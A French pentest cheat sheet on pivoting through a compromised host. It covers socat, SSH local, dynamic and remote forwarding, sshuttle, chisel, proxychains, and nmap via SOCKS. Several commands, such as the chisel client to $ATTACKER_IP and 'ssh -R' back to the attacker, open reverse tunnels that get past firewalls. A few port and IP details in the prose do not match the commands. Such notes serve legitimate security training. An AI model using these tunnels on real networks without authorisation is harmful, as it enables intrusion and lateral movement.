Pivot
SOCAT
SOCAT est un couteau suisse réseau permettant notamment de faire du port forwarding. Par exemple, la commande ci-dessous permet de créer une socket en écoute sur le port 2345 de la machine compromise et de rediriger le flux vers le port 22 (ssh) de la machine 10.4.184.215.
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.184.215:22
SSH
SSH étant disponible nativement sur Linux, Mac et Windows, il peut être considéré comme un des principaux outils à connaitre lorsque l’on veut effectuer un pivot.
Local port forwarding
SSH peut faire l’équivalent de SOCAT. Par exemple la commande suivante permet d’ouvrir le port 4455 afin de rediriger le flux vers le port 445 de la machine 172.16.50.217 au travers de la connexion SSH de la machine 10.4.50.215.
ssh -N -L 0.0.0.0:4455:172.16.184.217:4242 database_admin@10.4.184.215
Local dynamic port forwarding
Le Dynamic port forwarding permet de faire du port forwarding dynamique, c’est à dire de rediriger vers plusieurs ports via un pivot. Cela se passe notamment au travers d’un proxy socks et l’utilisation de la commande proxychains
.
La commande suivante permet de créer un proxy sur le port 9999 de l’attaquant, qui redirige l’ensemble du flux au travers de la connexion SS avec 10.4.50.215.
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
Remote port forwarding
Le remote port forwarding est comparable à un reverse shell, c’est à dire que c’est la machine attaquée qui se connecte à l’attaquant. L’objectif de ce type d’usage est de contourner les éventuels filtrage d’un pare-feu applicatif ou matériel.
ssh -N -R 127.0.0.1:2345:10.4.184.215:5432 y0no@192.168.45.229
La commande précédente permet de forwarder le port 2345 de la machine de l’attaquant au port 5432 de l’IP 10.4.184.215 via le tunnel SSH de la machine attaquée.
Remote dynamic port forwarding
De la même manière que pour un le local port forwarding, il est possible de faire du dynamic port forwarding en remote. Cela s’effectue à l’aide de la commande suivante :
ssh -N -R 9998 y0no@192.168.45.229
Dans le cas ci-dessus, la machine attaquée vient se connecter à l’attaquant via SSH et ouvre un proxy socks sur le port 9998 de ce dernier.
Sshuttle
Des outils comme sshuttle
permettent de simplifier le tunneling SSH. Par exemple il est possible de créer des routes vers les réseaux 10.5.184.0/24
et 172.16.184.0/24
à l’aide de la commande suivante :
sshuttle -r database_admin@192.168.184.63:2222 10.5.184.0/24 172.16.184.0/24
plink
Chisel
Côté attaquant :
chisel server -p 8080 --reverse
Côté victime :
chisel client $ATTACKER_IP:8080 R:socks
Proxychains
Proxychains permet de transférer les flux d’une commande au travers d’un pivot SSH ou Chisel. La syntaxe est la suivante:
proxychains -q $CMD
Dans le cas d’un pivot SSH, la commande proxychains ne suffit pas. Il est nécessaire de passer par la commande suivante:
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215
Lorsque l’on exécute un NMAP au travers de proxychains, quelques ajustements doivent être fait:
- L’ICMP ne transitant pas par proxychains, l’option
-Pn
doit être mise - Les scans de type SYN ne fonctionnent pas, forcer l’option -sT (scan CONNECT) est donc interessantes
proxychains nmap -sT -Pn -v www.example.com